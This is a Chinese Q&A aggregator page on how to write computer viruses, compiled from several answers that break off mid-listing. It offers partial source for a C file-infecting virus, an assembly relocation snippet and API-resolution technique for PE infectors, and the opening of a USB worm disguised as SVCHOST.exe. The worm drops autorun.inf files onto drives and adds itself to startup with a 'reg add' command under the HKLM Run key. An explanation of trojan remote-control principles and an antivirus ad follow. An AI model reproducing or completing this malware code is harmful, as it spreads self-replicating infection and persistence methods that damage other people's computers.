病毒怎麼編寫?

General 更新 2023年10月15日

怎麼用C語言寫個簡單病毒,給個代碼過程

首先聲明:

本程序是我舉的一個例子

為了叫大家理解就可以了

如果大家拿去捉弄人,我不負任何責任!

希望大家要以學習為重!

對於病毒我們應該是深惡痛絕的,但是作為純研究許多人還是很有興趣的

我曾經用匯編做過一些具有毀滅性的病毒,本想獻出來與大家分享

不過考慮到一些小人看了會做出來一些危害別人的行為,所以我決定

用這個簡單的並毫無傷害性的c語言偽病毒來說明一下問題,

再次聲明這一切全是為了編程研究!!!

病毒的特點:

病毒的最大特點就是自我複製,從病毒的分類來說有很多種,這裡我們將介紹最流行的附加式

病毒,它通過對正常的文件進行改寫,增加來實現其自我複製的目的。

從程序的角度來說,我們要做的事情有兩件:

1,讓程序能夠將自己在不影響其它程序本身工作的情況下複製給其它程序,

使它具備繼續複製的能力。

2,在一定條件下使其產生某種發作效果。

其實第一件事情實際上可以看成對文件進行復制,把病毒源文件的功能函數全部放到被感染

文件的最後,同時在被感染文件中調用這個函數

下面給出c語言的實現過程:

1,主程序調用病毒功能函數

2,病毒功能函數讀取查找同目錄下所有c文件;

3,找到一個(被感染c文件),打開它,並且將此文件全部讀取到數組變量;

4,重新創建一個同名文件(被感染c文件)

5,數組變量寫回這個被感染c文件,同時將病毒源文件所需要的頭文件,病毒功能函數

調用語句寫入;

6,打開病毒源文件,將病毒功能函數全部寫到被感染c文件的最後;

這樣一個簡單的c語言偽病毒virus.c就完成了

運行程序後其內容變化另保存為after_virus.c

此時,如果我們將1.c文件用A盤複製到其他機器或者Email給別人,結果

他們一運行又感染了他們保存1.c文件目錄下所有c文件

對於第二件事情-------“發作效果”,這裡只用printf語句警告了一下,當然你

完全可以寫一個TSR駐留函數

其實,這個程序勉強可以叫做病毒

根本不算是真正的病毒,好了就說這麼多,

代碼如下:

#include

#include

void main(void)

{

virus();

}

int virus()

{

struct ffblk ffblk;

FILE *in,*out,*read;

char *virus="virus.c";

char buf[50][80];

char *p;

char *end="return";

char *bracket="}";

char *main="main";

char *include[2]={"stdio.h","dir.h"};

char *int_virus="int virus()";

char *buffer;

int done,i,j=0,flag=0;

printf("\nI have a virus. Writen by PuBin\n");

done = findfirst("*.c",&ffblk,0);

while (!done)

{

i=0;

if ((in = fope......

如何寫一個簡單的病毒程序?

前些天學病毒這門技術著實吃了很多苦頭,走了很多彎路,儘管按我的知識水平,病毒已經是水到渠成的學習內容了。但是我現在學了入門才發現這門技術實際上隱藏著很多玄機,包含著許多技術,不專門學習研究根本無法達到“牛”的境界上去。如今寫了這篇文章,介紹的都是相當實用的東西,可以讓你少走許多彎路(有時侯一個錯誤夠你找幾個小時的)。不過需要些基礎知識才能看懂。假如你有天知識儲備夠了,不學學病毒將是你的遺憾。另,由於是寫給協會會員參考的,也沒寫的多“專業”,多了些贅述。

在你看之前,你應該知道這只是篇可以帶你入門的文章,如果你已經會了就不用看了。看的時候最好準備個PE表在旁邊。寫病毒程序可以使用很多種語言來寫比如C,彙編,甚至有人用Dephi這樣可視化編程工具都能寫出來。但是最適合寫病毒程序的還是彙編語言。彙編語言底層,靈活,速度快,體積小的優勢能將一個病毒程序發揮到極至,通常一個程序寫出來才幾千字節就包含了所有的功能。一般一個病毒都有如下幾個功能:

一 代碼重定位

二 自己找到所需API地址

三 搜索文件、目錄

四 感染文件

五 破壞系統或文件(隨便你了)

其中一,二項功能是必要的,五項功能是可選的。而一個病毒程序感染文件的功能是它的核心,是衡量它質量的重要標準。

(一)代碼的重定位

一個變量或函數其實是一個內存地址,在編譯好後,程序中的指令通過變量或函數的內存地址再去存取他們,這個地址是個絕對地址。如果你將代碼插入到其他任何地方,再通過原來編譯時產生的地址去找他們就找不到了,因為他們已經搬家了。但是,你在寫程序時考慮到這個問題,你就可以在代碼最開始,放上幾行代碼取得程序基地址,以後變量和函數作為偏移地址,顯式的加上這個基地址就能順利找到了,這就是重定位。就象這段代碼。

Call getbaseaddress

Getbaseaddress:pop ebx

Sub ebx,offset getbaseaddress

Mov eax,dword ptr [ebx+Var1]

如果你使用宏彙編語言寫病毒,請儘量使用ebx做基地址指針,不要使用ebp,因為ebp在調用帶參數的函數時會改變。

(二)自己取得所需的API地址

一個win32程序文件,所調用的API函數地址,是由系統填入到程序文件中描述各類數據位置的數據結構中的。而病毒作為一個殘廢是享受不到這個待遇的。因為你在把病毒的代碼插入目標程序時沒有把這些描述數據存放位置的數據結構信息也弄進去。它被插入到其他目標程序後就成了只有代碼的殘廢兒童:(所以作為一個殘廢兒童,應當自力更生。自己搜尋自己需要的API地址。目標程序文件就包含了我們需要的東西,我們需要自己去找。目標程序文件只要還是win32程序,它的地址空間中就包含的有Kernel32.dll。如果找到了它,我們就能找到其他任何的東東。第一步,搜尋kernel32.dll的基地址。當然了,整個地址空間有4GB,可供搜索的用戶進程空間也有2GB。在2GB中搜索,太嚇人了。總不能在執行被感染的目標程序時,先讓用戶喝杯茶吧?或者鬥鬥地主?這裡有兩個技巧向大家介紹。

在程序被加載後,加載程序會調用程序的主線程的第一條指令的位置。它使用的指令是CALL,就是說,你程序還沒執行,堆棧區裡就有了一個返回地址了,這個返回地址指向的是加載程序,而加載程序是包含在KERNEL32.dll中的,我們順著它向上找,就能找到kernel32.dll的基地址了。當然也不是一個字節一個字節的挨者找,而是一個頁面一個頁面地找。因為win3......

如何編寫程序病毒?

那首先要對系統底層的東西比較熟悉,如果編網絡病毒,還要對網絡協議很瞭解。並且要精通至少一門編程語言,一般寫病毒用asm(彙編語言)的比較多,用其他也可以,比如vbs(vb腳本語言)或者.bat的海處理,都可以。如果寫unix 類系統的病毒用c語言的多一些。但彙編知識是寫高級病毒必須的知識。

如何寫病毒?

在讀本程序前請保證不用此程序進行違法活動,否則,請馬上離開.最基本的病毒.

本病毒的功能:

1.在C、D、E盤和c:\windows\system、c:\windows中生成本病毒體文件

2.在C、D、E盤中生成自動運行文件

3.註冊c:\windows\system\svchost.exe,使其開機自動運行

4.在C:\windows\system下生成隱蔽DLL文件

5.病毒在執行後具有相聯複製能力本病毒類似普通U盤病毒雛形,具備自我複製、運行能力。以下程序在DEV-CPP 4.9.9.2(GCC編譯器)下編譯通過

請保存為SVCHOST.C編譯,運行,本病毒對計算機無危害,請放心研究

/* SVCHOST.C */

/* SVCHOST.EXE */#define SVCHOST_NUM 6

#include

#include

char *autorun={"[autorun]\nopen=SVCHOST.exe\n\nshell\\1=打開\nshell\\1\\Command=SVCHOST.exe\nshell\\2\\=Open\nshell\\2\\Command=SVCHOST.exe\nshellexecute=SVCHOST.exe"};

char *files_autorun[10]={"c:\\autorun.inf","d:\\autorun.inf","e:\\autorun.inf"};

char *files_svchost[SVCHOST_NUM+1]={"c:\\windows\\system\\MSMOUSE.DLL",

"c:\\windows\\system\\SVCHOST.exe","c:\\windows\\SVCHOST.exe",

"c:\\SVCHOST.exe","d:\\SVCHOST.exe","e:\\SVCHOST.exe","SVCHOST.exe"};

char *regadd="reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /v SVCHOST /d C:\\Windows\\system\\SVCHOST.exe /f";int copy(char *infile,char *outfile)

{

......

病毒一般用什麼語言編寫的?

由於現在大多數的所謂的黑客都沒有真正的技術,他們的木馬都是利用別人編寫的木馬生成程序生成的,只要一點就好了!~~現在流行的木馬有VB、E語言、pascal(注意Delphy不是一門語言,而是pascal語言的編輯器,就像C++跟VC++之間的關係)等,大量用他們編寫的原因並不是他們有多好,只不過是他們簡單易學!所以只要你有技術,用什麼程序寫不重要,條條大路通羅馬!

病毒的編寫是用的什麼原理?

在計算機領域中,它是一種基於遠程控制的黑客工具,具有隱蔽性和非授權性的特點。

所謂隱蔽性是指木馬的設計者為了防止木馬被發現,會採用多種手段隱藏木馬,這樣服務端即使發現感染了木馬,由於不能確定其具體位置,往往只能望“馬”興嘆。

所謂非授權性是指一旦控制端與服務端連接後,控制端將享有服務端的大部分操作權限,包括修改文件,修改註冊表,控制鼠標,鍵盤等等,而這些權力並不是服務端賦予的,而是通過木馬程序竊取的。

從木馬的發展來看,基本上可以分為兩個階段。

最初網絡還處於以UNIX平臺為主的時期,木馬就產生了,當時的木馬程序的功能相對簡單,往往是將一段程序嵌入到系統文件中,用跳轉指令來執行一些木馬的功能,在這個時期木馬的設計者和使用者大都是些技術人員,必須具備相當的網絡和編程知識。

而後隨著WINDOWS平臺的日益普及,一些基於圖形操作的木馬程序出現了,用戶界面的改善,使使用者不用懂太多的專業知識就可以熟練的操作木馬,相對的木馬入侵事件也頻繁出現,而且由於這個時期木馬的功能已日趨完善,因此對服務端的破壞也更大了。

所以所木馬發展到今天,已經無所不用其極,一旦被木馬控制,你的電腦將毫無祕密可言。

二、木馬原理

[編輯本段]

鑑於木馬的巨大危害性,我們將分原理篇,防禦與反擊篇,資料篇三部分來詳細介紹木馬,希望大家對特洛伊木馬這種攻擊手段有一個透徹的瞭解。

【一、基礎知識 】

在介紹木馬的原理之前有一些木馬構成的基礎知識我們要事先加以說明,因為下面有很多地方會提到這些內容。

一個完整的木馬系統由硬件部分,軟件部分和具體連接部分組成。

(1)硬件部分:建立木馬連接所必須的硬件實體。 控制端:對服務端進行遠程控制的一方。 服務端:被控制端遠程控制的一方。 INTERNET:控制端對服務端進行遠程控制,數據傳輸的網絡載體。

(2)軟件部分:實現遠程控制所必須的軟件程序。 控制端程序:控制端用以遠程控制服務端的程序。 木馬程序:潛入服務端內部,獲取其操作權限的程序。 木馬配置程序:設置木馬程序的端口號,觸發條件,木馬名稱等,使其在服務端藏得更隱蔽的程序。

(3)具體連接部分:通過INTERNET在服務端和控制端之間建立一條木馬通道所必須的元素。 控制端IP,服務端IP:即控制端,服務端的網絡地址,也是木馬進行數據傳輸的目的地。 控制端端口,木馬端口:即控制端,服務端的數據入口,通過這個入口,數據可直達控制端程序或木馬 程序。

用木馬這種黑客工具進行網絡入侵,從過程上看大致可分為六步(具體可見下圖),下面我們就按這六步來詳細闡述木馬的攻擊原理。

一.配置木馬

一般來說一個設計成熟的木馬都有木馬配置程序,從具體的配置內容看,主要是為了實現以下兩方 面功能:

(1)木馬偽裝:木馬配置程序為了在服務端儘可能的好的隱藏木馬,會採用多種偽裝手段,如修改圖標 ,捆綁文件,定製端口,自我銷燬等,我們將在“傳播木馬”這一節中詳細介紹。

(2)信息反饋:木馬配置程序將就信息反饋的方式或地址進行設置,如設置信息反饋的郵件地址,IRC號 ,ICO號等等,具體的我們將在“信息反饋”這一節中詳細介紹。

【二、傳播木馬】.

(1)傳播方式:

木馬的傳播方式主要有兩種:一種是通過E-MAIL,控制端將木馬程序以附件的形式夾在郵件中發送出 去, 收信人只要打開附件系統就會感染木馬;另一種是軟件下載,一些非正規的網站以提供軟件下載為名義, 將木馬捆綁在軟件安裝程序上,下載後,只要一運行這些程序,木馬就會自動安裝。

(2)偽裝方......

如何編寫病毒

那首先要對系統底層的東西比較熟悉,如果編網絡病毒,還要對網絡協議很瞭解。並且要精通至少一門編程語言,一般寫病毒用asm(彙編語言)的比較多,用其他也可以,比如vbs(vb腳本語言)或者.bat的批處理,都可以。如果寫unix 類系統的病毒用c語言的多一些。但彙編知識是寫高級病毒必須的知識。

病毒代碼是怎麼編輯的?

編寫病毒有很多種語言 例如:VC VB DELPHI 易語言 ASM 每種語言有自己寫代碼的地方(其實都是文本保存的)然後用各自的編譯器進行編譯 你要寫病毒的話推薦用VC和ASM(本人用的ASM) 要想反病毒先要深入瞭解病毒才行 你必須會逆向工程 其它的還有很多東西你要了解

木馬病毒是怎樣編寫的出來的

您好,木馬病毒其實就是一種小程序小軟件。和我們平時使用的那些大程序大軟件一樣,是用一行一行的命令代碼寫成的。沒有什麼特殊的字符,只是電腦按照那些命令代碼去做,電腦本身是不管“有毒”或“無毒”的。工具很多,比如C語言、易語言……

建議您安裝電腦管家來防護您的電腦抵禦木馬病毒的侵入,電腦管家擁有基於CPU虛擬執行技術,可以徹底根除電腦中的木馬病毒。

希望幫助到您,電腦管家竭誠為您服務,您的支持是我們的動力,望採納。

管家下載地址 騰訊電腦管家官網

騰訊電腦管家企業平臺:zhidao.baidu.com/c/guanjia/

相關問題答案
病毒怎麼編寫?
怎麼編寫病毒?
蘋果手機中病毒怎麼辦?
三星平板中病毒怎麼辦?
紅米手機中病毒怎麼辦?
電腦被植入病毒怎麼辦?
小狗的細小病毒怎麼辦?
手機怎麼編寫代碼?
測試用例怎麼編寫?
狗得細小病毒怎麼治療?